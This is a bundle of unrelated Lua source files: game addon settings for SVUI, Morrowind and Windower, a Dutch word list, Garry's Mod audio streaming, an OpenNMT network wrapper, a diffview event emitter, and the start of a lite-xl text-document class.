misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
name = SVUIOptions:SetNameConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES),
icons = SVUIOptions:SetIconConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES)
}
},
arena = {
name = L["Arena"],
type = "group",
order = 14,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["arena"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "arena");MOD:SetEnemyFrame("arena", 5)end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
displayFrames = {type = "execute", order = 2, name = L["Display Frames"], func = function()MOD:ViewEnemyFrames("arena", 5)end},
resetSettings = {type = "execute", order = 3, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("arena")SV:ResetAnchors("Arena Frames")end},
spacer1 = {
order = 4,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 5,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 6,
type = "group",
name = L["General Settings"],
args = {
baseGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
showBy = {order = 1, name = L["Growth Direction"], type = "select", values = {["UP"] = L["Up"], ["DOWN"] = L["Down"]}},
spacer1 = {
order = 2,
type = "description",
name = "",
},
predict = {order = 3, name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], type = "toggle"},
rangeCheck = {order = 4, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle"},
hideonnpc = {type = "toggle", order = 5, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["arena"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["arena"]["power"].hideonnpc = m;MOD:SetEnemyFrame("arena")end},
threatEnabled = {type = "toggle", order = 6, name = L["Show Threat"]}
}
},
sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
width = {
order = 1,
name = L["Width"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1,
},
height = {
order = 2,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1
},
}
},
pvp = {
order = 3,
guiInline = true,
type = "group",
name = L["PVP Indicators"],
args = {
enable = {
type = "toggle",
order = 1,
name = L["Enable"],
get = function(l)return SV.db.UnitFrames.arena.pvp.enable end,
set = function(l, m)MOD:ChangeDBVar(m, "enable", "arena", "pvp");MOD:SetEnemyFrame("arena", 5)end,
},
trinketGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Trinkets"],
get = function(l)return SV.db.UnitFrames.arena.pvp[l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "arena", "pvp");MOD:SetEnemyFrame("arena", 5)end,
disabled = function() return not SV.db.UnitFrames.arena.pvp.enable end,
args = {
trinketPosition = {
type = "select",
order = 1,
name = L["Position"],
values = {
["LEFT"] = L["Left"],
["RIGHT"] = L["Right"]
}
},
trinketSize = {
order = 2,
type = "range",
name = L["Size"],
min = 10,
max = 60,
step = 1
},
trinketX = {
order = 3,
type = "range",
name = L["xOffset"],
min = -60,
max = 60,
step = 1
},
trinketY = {
order = 4,
type = "range",
name = L["yOffset"],
min = -60,
max = 60,
step = 1
}
}
},
specGroup = {
order = 3,
guiInline = true,
type = "group",
name = L["Enemy Specs"],
get = function(l)return SV.db.UnitFrames.arena.pvp[l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "arena", "pvp");MOD:SetEnemyFrame("arena", 5)end,
disabled = function() return not SV.db.UnitFrames.arena.pvp.enable end,
args = {
specPosition = {
type = "select",
order = 1,
name = L["Position"],
values = {
["LEFT"] = L["Left"],
["RIGHT"] = L["Right"]
}
},
specSize = {
order = 2,
type = "range",
name = L["Size"],
min = 10,
max = 60,
step = 1
},
specX = {
order = 3,
type = "range",
name = L["xOffset"],
min = -60,
max = 60,
step = 1
},
specY = {
order = 4,
type = "range",
name = L["yOffset"],
min = -60,
max = 60,
step = 1
}
}
}
}
},
}
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetEnemyFrame, "arena", 5),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetEnemyFrame, "arena", 5),
power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetEnemyFrame, "arena", 5),
name = SVUIOptions:SetNameConfigGroup(MOD.SetEnemyFrame, "arena", 5),
portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetEnemyFrame, "arena", 5),
buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetEnemyFrame, "arena", 5),
debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetEnemyFrame, "arena", 5),
castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetEnemyFrame, "arena", 5)
}
},
tank = {
name = L["Tank"],
type = "group",
order = 15,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["tank"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "tank");MOD:SetGroupFrame("tank")end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("tank")end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = "group",
name = L["General Layout"],
args = {
enable = {
order = 1,
name = L["Enable Grid Mode"],
desc = L["Converts frames into symmetrical squares. Ideal for healers."],
type = "toggle",
get = function(key) return SV.db.UnitFrames["tank"].grid.enable end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "tank", "grid");
MOD:SetGroupFrame("tank");
SV.Options.args.UnitFrames.args.commonGroup.args.tank.args.commonGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "tank");
end,
},
invertGroupingOrder = {
order = 2,
type = "toggle",
name = L["Invert Grouping Order"],
desc = L["Enabling this inverts the grouping order."],
disabled = function() return not SV.db.UnitFrames["tank"].customSorting end,
},
sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.tank.grid.enable, "tank"),
}
},
name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, "tank"),
targetsGroup = {
type = "group",
name = L["Tank Target"],
get = function(l)return SV.db.UnitFrames["tank"]["targetsGroup"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "tank", "targetsGroup");MOD:SetGroupFrame("tank")end,
args = {
enable = {type = "toggle", name = L["Enable"], order = 1},
width = {order = 2, name = L["Width"], type = "range", min = 10, max = 500, step = 1},
height = {order = 3, name = L["Height"], type = "range", min = 10, max = 250, step = 1},
anchorPoint = {type = "select", order = 5, name = L["Anchor Point"], desc = L["What point to anchor to the frame you set to attach to."], values = {TOPLEFT = "TOPLEFT", LEFT = "LEFT", BOTTOMLEFT = "BOTTOMLEFT", RIGHT = "RIGHT", TOPRIGHT = "TOPRIGHT", BOTTOMRIGHT = "BOTTOMRIGHT", CENTER = "CENTER", TOP = "TOP", BOTTOM = "BOTTOM"}},
xOffset = {order = 6, type = "range", name = L["xOffset"], desc = L["An X offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1},
yOffset = {order = 7, type = "range", name = L["yOffset"], desc = L["An Y offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1}
}
}
}
},
assist = {
name = L["Assist"],
type = "group",
order = 16,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["assist"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "assist");MOD:SetGroupFrame("assist")end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("assist")end},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 4,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 5,
type = "group",
name = L["General Layout"],
args = {
enable = {
order = 1,
name = L["Enable Grid Mode"],
desc = L["Converts frames into symmetrical squares. Ideal for healers."],
type = "toggle",
get = function(key) return SV.db.UnitFrames["assist"].grid.enable end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "assist", "grid");
MOD:SetGroupFrame("assist");
SV.Options.args.UnitFrames.args.commonGroup.args.assist.args.commonGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "assist");
end,
},
invertGroupingOrder = {
order = 2,
type = "toggle",
name = L["Invert Grouping Order"],
desc = L["Enabling this inverts the grouping order."],
disabled = function() return not SV.db.UnitFrames["assist"].customSorting end,
},
sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.assist.grid.enable, "assist"),
}
},
name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, "assist"),
targetsGroup = {
type = "group",
name = L["Assist Target"],
get = function(l)return SV.db.UnitFrames["assist"]["targetsGroup"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "assist", "targetsGroup");MOD:SetGroupFrame("assist")end,
args = {
enable = {type = "toggle", name = L["Enable"], order = 1},
width = {order = 2, name = L["Width"], type = "range", min = 10, max = 500, step = 1},
height = {order = 3, name = L["Height"], type = "range", min = 10, max = 250, step = 1},
anchorPoint = {type = "select", order = 5, name = L["Anchor Point"], desc = L["What point to anchor to the frame you set to attach to."], values = {TOPLEFT = "TOPLEFT", LEFT = "LEFT", BOTTOMLEFT = "BOTTOMLEFT", RIGHT = "RIGHT", TOPRIGHT = "TOPRIGHT", BOTTOMRIGHT = "BOTTOMRIGHT", CENTER = "CENTER", TOP = "TOP", BOTTOM = "BOTTOM"}},
xOffset = {order = 6, type = "range", name = L["xOffset"], desc = L["An X offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1},
yOffset = {order = 7, type = "range", name = L["yOffset"], desc = L["An Y offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1}
}
}
}
}
},
}
},
}
|
return {'hongaar','hongaars','hongaarse','hongaarstalig','hongarije','hongerwinter','hongkong','hongkonger','hongkongs','hond','hondenasiel','hondenbaan','hondenbeet','hondenbelasting','hondenbezitter','hondenbrokken','hondenbrood','hondenclub','hondendokter','hondendrol','hondenfluitje','hondenfokker','hondengeblaf','hondengeleider','hondengevecht','hondenhaar','hondenhok','hondenjong','hondenkar','hondenkennel','hondenkenner','hondenkeuring','hondenkop','hondenkot','hondenleven','hondenliefhebber','hondenlijn','hondenlul','hondenmand','hondenmepper','hondenneus','hondenoog','hondenpenning','hondenpistool','hondenpoep','hondenpoepbeleid','hondenpoepbestrijding','hondenras','hondenren','hondenriem','hondenslee','hondenstiel','hondententoonstelling','hondentoilet','hondentong','hondentrimmer','hondentrimster','hondentrouw','hondenuitlaatplaats','hondenvel','hondenvlees','hondenvoer','hondenwacht','hondenweer','hondenwerk','hondenziekte','hondenzweep','honderd','honderddelig','honderddertig','honderdduizend','honderdduizendste','honderdduizendtal','honderdjarig','honderdjarige','honderdje','honderdmaal','honderdman','honderdnegentig','honderdste','honderdtachtig','honderdtal','honderdtien','honderdtwintig','honderdtwintigduizend','honderduit','honderdveertig','honderdveertigduizend','honderdvijfentwintig','honderdvijftien','honderdvijftig','honderdvijftigduizend','honderdvoud','honderdvoudig','honderdzestig','honderdzeventig','honds','hondsberoerd','hondsbloem','hondsbrutaal','hondsdagen','hondsdol','hondsdolheid','hondsdraf','hondshaai','hondsheid','hondsmoe','hondsmoeilijk','hondspeterselie','hondsroos','hondstrouw','hondsvot','honen','honend','honger','hongerbaantje','hongerbuikje','hongerdood','hongeren','hongergevoel','hongerig','hongerigen','hongerkunstenaar','hongerkuur','hongerlap','hongerlappen','hongerlijder','hongerlijdster','hongerloon','hongeroedeem','hongeroproer','hongerprobleem','hongersnood','hongerstaken','hongerstaker','hongerstaking','hongerstiller','hongerwinter','honig','honigachtig','honigbij','honigdauw','honigdrank','honighei','honigraat','honigslinger','honigzeem','honigzoet','honing','honingachtig','honingbij','honingdauw','honingdrank','honinghei','honingheide','honingklaver','honingkleurig','honingkoek','honingpers','honingpot','honingraat','honingraatmotief','honingslinger','honingzeem','honingzoet','honingzuiger','honk','honkbal','honkbalcoach','honkbalknuppel','honkballen','honkballer','honkbalpet','honkbalploeg','honkbalseizoen','honkbalspel','honkbalstadion','honkbalteam','honkbalveld','honkbalwereld','honken','honkloopster','honkloper','honkman','honkslag','honkvast','honkvastheid','honnepon','honneponnig','honneurs','honnig','honorabel','honorair','honorarium','honoreren','honorering','honoreringsregeling','honoreringsstructuur','honoreringssysteem','hongerlijden','honingvogel','hongermaal','honingblond','honinggeel','honingkelk','honingkleur','hondenschool','hondenbeleid','hondensport','hondeneigenaar','hondenshow','hondenbed','hondenbrigade','hondenfokkerij','hondengedrag','hondenhandel','hondenhater','hondenhemel','hondenoverlast','hondenpik','hondenstront','hondentaal','hondentrainer','hondentraining','hondenuitlaatservice','hongerdieet','hongerdoek','hongerklop','hongertocht','honingkamer','honingraatstructuur','honingsaus','honingwijn','honingzwam','honkbalbond','honkbalwedstrijd','honkvrouw','hondenman','hondennaam','hondenraces','hondenpark','hondenforum','hondensoort','hondenverbod','hondentrimsalon','hondenbestaan','hondendek','hondendressuur','hondenmaaltijd','hondennest','hondsapen','hondsbossen','honderdvijfendertig','hondsrug','hondsster','honduras','hondurees','hongersteppe','honiara','hontenisse','honda','hondt','hong','honig','honkoop','honders','honcoop','honings','hondebrink','hondelink','hondema','honselaar','hondius','honsbeek','honhoff','honingh','hongaarstalige','hongaren','honden','hondenasielen','hondenbezitters','hondeneigenaren','hondengevechten','hondenjongen','hondenkarren','hondenkenners','hondenkoppen','hondenneuzen','hondenrassen','hondenstielen','hondententoonstellingen','hondentoiletten','hondentongen','hondenvellen','honderddelige','honderdduizenden','honderdduizendtallen','honderden','honderdjes','honderdmannen','honderdsten','honderdtallen','honderdvouden','honderdvoudige','hondje','hondjes','hondsbloemen','hondse','hondser','hondshaaien','hondsrozen','hondsvotten','honende','hongerde','hongerden','hongerend','hongerende','hongerige','hongeriger','hongerigst','hongerigste','hongerkunstenaars','hongerkuren','hongerlijders','hongerloontje','hongerloontjes','hongerslachtoffers','hongersnoden','hongerstakers','hongerstakingen','hongert','honigbijen','honigraten','honigzoete','honingachtige','honingbijen','honingraten','honingslingers','honingzoete','honingzuigers','honkballers','honkt','honkte','honkten','honnepons','honorabele','honorabeler','honoraire','honoraria','honorariums','honoreer','honoreerde','honoreerden','honoreert','honoreringen','hongkongers','hondenbanen','hondenbeten','hondendokters','hondendrollen','hondenfokkers','hondengeleiders','hondenliefhebbers','hondenogen','hondenpenningen','hondenrennen','hondentrimmers','hondenziekten','hondenziektes','honderdjarigen','hondsbrutale','hongeroproeren','hongerwinters','honigachtige','honigslingers','honingkleurige','honingkoeken','honingpersen','honingpotten','honingraatmotieven','honkbalde','honkbalknuppels','honkbalpetten','honklopers','honkslagen','honkvaste','honneponnetje','honneponnige','hongkongse','hondenhokken','hondstrouwe','honingvogels','honkbalstadions','hondsdolle','hondsberoerde','hondenfluitjes','hongerbaantjes','honinggele','hongergeleden','hondenlullen','hondenmanden','hondsmoee','hongerstillers','honingblonde','honingkelken','honkmannen','hongs','hondeneigenaars','hondenharen','hondenhaters','hondenscholen','hondenshows','hondenuitlaatplaatsen','hongerlonen','hondensoorten','hongertochten','hondennamen','hondentrainingen','honkbalwedstrijden','hondenclubs','honingkoekjes','honkbalvelden','hondenkennels','honingkamers','hondentrainers','hongerdoeken','hondenmandje','honkbalteams','hondenkopje','hondenfokkerijen','hondenbedden','hondentrimsalons','hondenmannen','hondenstronten','hondurese'}
|
require("bigJayB.PlaceSwap.mcm")
local config = require("bigJayB.PlaceSwap.config")
-- swap positions with npcs.
local function swapPcs(ref)
-- gets player current cell
local current_cell = tes3.getPlayerCell()
-- get copy of the player's position
local player_pos = tes3.mobilePlayer.position:copy()
-- get copy of the npc's position
local npc_pos = ref.position:copy()
-- swaps both using position cell
tes3.positionCell(
{
reference = tes3.mobilePlayer,
cell = current_cell,
position = npc_pos,
forceCellChange = false,
suppressFader = true,
teleportCompanions = false
}
)
tes3.positionCell(
{
reference = ref,
cell = current_cell,
position = player_pos,
forceCellChange = false,
suppressFader = true,
teleportCompanions = false
}
)
return
end
-- moves the NPC using AIWander given a range.
local function wander(ref, ran, dur)
tes3.setAIWander(
{
reference = ref,
idles = { 0, 0, 0, 0, 0, 0, 0, 0, 0 },
range = ran,
duration = dur,
reset = true
}
)
return
end
-- makes npcs move around and stop after 3 seconds.
local function moveAway(ref)
wander(ref, 100, 1)
local wanderingTimer = timer.start(
{
duration = 3,
callback = function ()
wander(ref, 0, 0)
end
}
)
end
-- returns true if ref is a passive npc, false otherwise.
local function isRefValid(ref)
if (ref ~= nil and ref.object.objectType == tes3.objectType.npc) then
if not (ref.object.mobile.inCombat) then
return true
end
end
return false
end
-- checks if player is looking at an npc
-- and executes the proper use cases.
local function checkTarget(e)
local target_ref = tes3.getPlayerTarget()
if (e.isShiftDown and isRefValid(target_ref)) then
swapPcs(target_ref)
end
if (e.isControlDown and isRefValid(target_ref)) then
moveAway(target_ref)
end
return
end
local function init()
event.register("keyDown", checkTarget, { filter = config.key.keyCode } )
mwse.log("[Jay's Place Swap & Move Away] Initialized!")
return
end
event.register('initialized', init)
|
-- Item bags
local bags = {}
bags[0] = {english = 'Inventory', access = 'Everywhere'}
bags[1] = {english = 'Safe', access = 'Mog House'}
bags[2] = {english = 'Storage', access = 'Mog House'}
bags[3] = {english = 'Temporary', access = 'Situational'}
bags[4] = {english = 'Locker', access = 'Mog House'}
bags[5] = {english = 'Satchel', access = 'Everywhere'}
bags[6] = {english = 'Sack', access = 'Everywhere'}
bags[7] = {english = 'Case', access = 'Everywhere'}
return bags
--[[
Copyright (c) 2013, Windower
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of Windower nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Windower BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
]]
|
-- made by Morten and CapsAdmin
pac.webaudio = pac.webaudio or {}
local webaudio = pac.webaudio
webaudio.Streams = webaudio.Streams or {}
webaudio.Streams.LastStreamId = 0
webaudio.Streams.Streams = {}
function webaudio.Streams.CreateStream(url)
--url = url:gsub("http[s?]://", "http://")
if not url:find("http",1,true) then
url = "asset://garrysmod/sound/" .. url
end
local stream = setmetatable({}, webaudio.Streams.STREAM)
webaudio.Streams.LastStreamId = webaudio.Streams.LastStreamId + 1
stream:SetId(webaudio.Streams.LastStreamId)
stream:SetUrl(url)
webaudio.Streams.Streams[stream:GetId()] = stream
webaudio.Browser.QueueJavascript(string.format("createStream(%q, %d)", stream:GetUrl(), stream:GetId()))
return stream
end
function webaudio.Streams.GetStream(streamId)
return webaudio.Streams.Streams[streamId]
end
function webaudio.Streams.StreamExists(streamId)
return webaudio.Streams.Streams[streamId] ~= nil
end
function webaudio.Streams.Think()
for streamId, stream in pairs(webaudio.Streams.Streams) do
if stream:IsValid() then
stream:Think()
else
stream:Stop()
webaudio.Streams.Streams[streamId] = nil
webaudio.Browser.QueueJavascript(string.format("destroyStream(%i)", stream:GetId()))
setmetatable(stream, getmetatable(NULL))
end
end
end
|
--[[ Wrapper around a single network. ]]
local Network, parent = torch.class('onmt.Network', 'nn.Container')
function Network:__init(net)
parent.__init(self)
self.net = net
self:add(net)
end
function Network:set(net)
self.modules = { net }
self.net = net
end
function Network:updateOutput(input)
self.output = self.net:updateOutput(input)
return self.output
end
function Network:updateGradInput(input, gradOutput)
self.gradInput = self.net:updateGradInput(input, gradOutput)
return self.gradInput
end
function Network:accGradParameters(input, gradOutput, scale)
self.net:accGradParameters(input, gradOutput, scale)
end
|
local oop = require("diffview.oop")
local M = {}
---@class Event
---@class EEvent
---@field FILES_STAGED Event
local Event = oop.enum({
"FILES_STAGED",
})
---@class EventEmitter
---@field listeners table<Event, function[]>
local EventEmitter = oop.Object
EventEmitter = oop.create_class("EventEmitter")
---EventEmitter constructor.
---@return EventEmitter
function EventEmitter:init()
self.listeners = {}
end
function EventEmitter:on(event, callback)
if not self.listeners[event] then
self.listeners[event] = {}
end
table.insert(self.listeners[event], function(args)
callback(unpack(args))
end)
end
function EventEmitter:once(event, callback)
if not self.listeners[event] then
self.listeners[event] = {}
end
local emitted = false
table.insert(self.listeners[event], function(args)
if not emitted then
emitted = true
callback(unpack(args))
end
end)
end
function EventEmitter:emit(event, ...)
local args = { ... }
if type(self.listeners[event]) == "table" then
for _, cb in ipairs(self.listeners[event]) do
cb(args)
end
end
end
M.Event = Event
M.EventEmitter = EventEmitter
return M
|
local Object = require "core.object"
local Highlighter = require "core.doc.highlighter"
local core = require "core"
local syntax = require "core.syntax"
local config = require "core.config"
local common = require "core.common"
local Doc = Object:extend()
local function split_lines(text)
local res = {}
for line in (text .. "\n"):gmatch("(.-)\n") do
table.insert(res, line)
end
return res
end
function Doc:new(filename, abs_filename, new_file)
self.new_file = new_file
self:reset()
if filename then
self:set_filename(filename, abs_filename)
if not new_file then
self:load(filename)
end
end
end
function Doc:reset()
self.lines = { "\n" }
self.selections = { 1, 1, 1, 1 }
self.undo_stack = { idx = 1 }
self.redo_stack = { idx = 1 }
self.clean_change_id = 1
self.highlighter = Highlighter(self)
self:reset_syntax()
end
function Doc:reset_syntax()
local header = self:get_text(1, 1, self:position_offset(1, 1, 128))
local syn = syntax.get(self.filename or "", header)
if self.syntax ~= syn then
self.syntax = syn
self.highlighter:soft_reset()
end
end
function Doc:set_filename(filename, abs_filename)
self.filename = filename
self.abs_filename = abs_filename
end
function Doc:load(filename)
local fp = assert( io.open(filename, "rb") )
self:reset()
self.lines = {}
local i = 1
for line in fp:lines() do
if line:byte(-1) == 13 then
line = line:sub(1, -2)
self.crlf = true
end
table.insert(self.lines, line .. "\n")
self.highlighter.lines[i] = false
i = i + 1
end
if #self.lines == 0 then
table.insert(self.lines, "\n")
end
fp:close()
self:reset_syntax()
end
function Doc:save(filename, abs_filename)
if not filename then
assert(self.filename, "no filename set to default to")
filename = self.filename
abs_filename = self.abs_filename
else
assert(self.filename or abs_filename, "calling save on unnamed doc without absolute path")
end
local fp = assert( io.open(filename, "wb") )
for _, line in ipairs(self.lines) do
if self.crlf then line = line:gsub("\n", "\r\n") end
fp:write(line)
end
fp:close()
self:set_filename(filename, abs_filename)
self.new_file = false
self:reset_syntax()
self:clean()
end
function Doc:get_name()
return self.filename or "unsaved"
end
function Doc:is_dirty()
if self.new_file then
return #self.lines > 1 or #self.lines[1] > 1
else
return self.clean_change_id ~= self:get_change_id()
end
end
function Doc:clean()
self.clean_change_id = self:get_change_id()
end
function Doc:get_indent_info()
if not self.indent_info then return config.tab_type, config.indent_size, false end
return self.indent_info.type or config.tab_type,
self.indent_info.size or config.indent_size,
self.indent_info.confirmed
end
function Doc:get_change_id()
return self.undo_stack.idx
end
-- Cursor section. Cursor indices are *only* valid during a get_selections() call.
-- Cursors will always be iterated in order from top to bottom. Through normal operation
-- curors can never swap positions; only merge or split, or change their position in cursor
-- order.
function Doc:get_selection(sort)
local idx, line1, col1, line2, col2 = self:get_selections(sort)({ self.selections, sort }, 0)
return line1, col1, line2, col2, sort
end
function Doc:get_selection_text(limit)
limit = limit or math.huge
local result = {}
for idx, line1, col1, line2, col2 in self:get_selections() do
if idx > limit then break end
if line1 ~= line2 or col1 ~= col2 then
local text = self:get_text(line1, col1, line2, col2)
if text ~= "" then result[#result + 1] = text end
end
end
return table.concat(result, "\n")
end
function Doc:has_selection()
local line1, col1, line2, col2 = self:get_selection(false)
return line1 ~= line2 or col1 ~= col2
end
function Doc:has_any_selection()
for idx, line1, col1, line2, col2 in self:get_selections() do
if line1 ~= line2 or col1 ~= col2 then return true end
end
return false
end
function Doc:sanitize_selection()
for idx, line1, col1, line2, col2 in self:get_selections() do
self:set_selections(idx, line1, col1, line2, col2)
end
end
local function sort_positions(line1, col1, line2, col2)
if line1 > line2 or line1 == line2 and col1 > col2 then
return line2, col2, line1, col1
end
return line1, col1, line2, col2
end
function Doc:set_selections(idx, line1, col1, line2, col2, swap, rm)
assert(not line2 == not col2, "expected 3 or 5 arguments")
if swap then line1, col1, line2, col2 = line2, col2, line1, col1 end
line1, col1 = self:sanitize_position(line1, col1)
line2, col2 = self:sanitize_position(line2 or line1, col2 or col1)
common.splice(self.selections, (idx - 1)*4 + 1, rm == nil and 4 or rm, { line1, col1, line2, col2 })
end
function Doc:add_selection(line1, col1, line2, col2, swap)
local l1, c1 = sort_positions(line1, col1, line2 or line1, col2 or col1)
local target = #self.selections / 4 + 1
for idx, tl1, tc1 in self:get_selections(true) do
if l1 < tl1 or l1 == tl1 and c1 < tc1 then
target = idx
break
end
end
self:set_selections(target, line1, col1, line2, col2, swap, 0)
end
function Doc:set_selection(line1, col1, line2, col2, swap)
self.selections = {}
self:set_selections(1, line1, col1, line2, col2, swap)
end
function Doc:merge_cursors(idx)
for i = (idx or (#self.selections - 3)), (idx or 5), -4 do
for j = 1, i - 4, 4 do
if self.selections[i] == self.selections[j] and
self.selections[i+1] == self.selections[j+1] then
common.splice(self.selections, i, 4)
break
end
end
end
end
local function selection_iterator(invariant, idx)
local target = invariant[3] and (idx*4 - 7) or (idx*4 + 1)
if target > #invariant[1] or target <= 0 or (type(invariant[3]) == "number" and invariant[3] ~= idx - 1) then return end
if invariant[2] then
return idx+(invariant[3] and -1 or 1), sort_positions(table.unpack(invariant[1], target, target+4))
else
return idx+(invariant[3] and -1 or 1), table.unpack(invariant[1], target, target+4)
end
end
-- If idx_reverse is true, it'll reverse iterate. If nil, or false, regular iterate.
-- If a number, runs for exactly that iteration.
function Doc:get_selections(sort_intra, idx_reverse)
return selection_iterator, { self.selections, sort_intra, idx_reverse },
idx_reverse == true and ((#self.selections / 4) + 1) or ((idx_reverse or -1)+1)
end
-- End of cursor seciton.
function Doc:sanitize_position(line, col)
line = common.clamp(line, 1, #self.lines)
col = common.clamp(col, 1, #self.lines[line])
return line, col
end
local function position_offset_func(self, line, col, fn, ...)
line, col = self:sanitize_position(line, col)
return fn(self, line, col, ...)
end
local function position_offset_byte(self, line, col, offset)
line, col = self:sanitize_position(line, col)
col = col + offset
while line > 1 and col < 1 do
line = line - 1
col = col + #self.lines[line]
end
while line < #self.lines and col > #self.lines[line] do
col = col - #self.lines[line]
line = line + 1
end
return self:sanitize_position(line, col)
end
local function position_offset_linecol(self, line, col, lineoffset, coloffset)
return self:sanitize_position(line + lineoffset, col + coloffset)
end
function Doc:position_offset(line, col, ...)
if type(...) ~= "number" then
return position_offset_func(self, line, col, ...)
elseif select("#", ...) == 1 then
return position_offset_byte(self, line, col, ...)
elseif select("#", ...) == 2 then
return position_offset_linecol(self, line, col, ...)
else
error("bad number of arguments")
end
end
function Doc:get_text(line1, col1, line2, col2)
line1, col1 = self:sanitize_position(line1, col1)
line2, col2 = self:sanitize_position(line2, col2)
line1, col1, line2, col2 = sort_positions(line1, col1, line2, col2)
if line1 == line2 then
return self.lines[line1]:sub(col1, col2 - 1)
end
local lines = { self.lines[line1]:sub(col1) }
for i = line1 + 1, line2 - 1 do
table.insert(lines, self.lines[i])
end
table.insert(lines, self.lines[line2]:sub(1, col2 - 1))
return table.concat(lines)
end
function Doc:get_char(line, col)
line, col = self:sanitize_position(line, col)
return self.lines[line]:sub(col, col)
end
local function push_undo(undo_stack, time, type, ...)
undo_stack[undo_stack.idx] = { type = type, time = time, ... }
undo_stack[undo_stack.idx - config.max_undos] = nil
undo_stack.idx = undo_stack.idx + 1
end
local function pop_undo(self, undo_stack, redo_stack, modified)
-- pop command
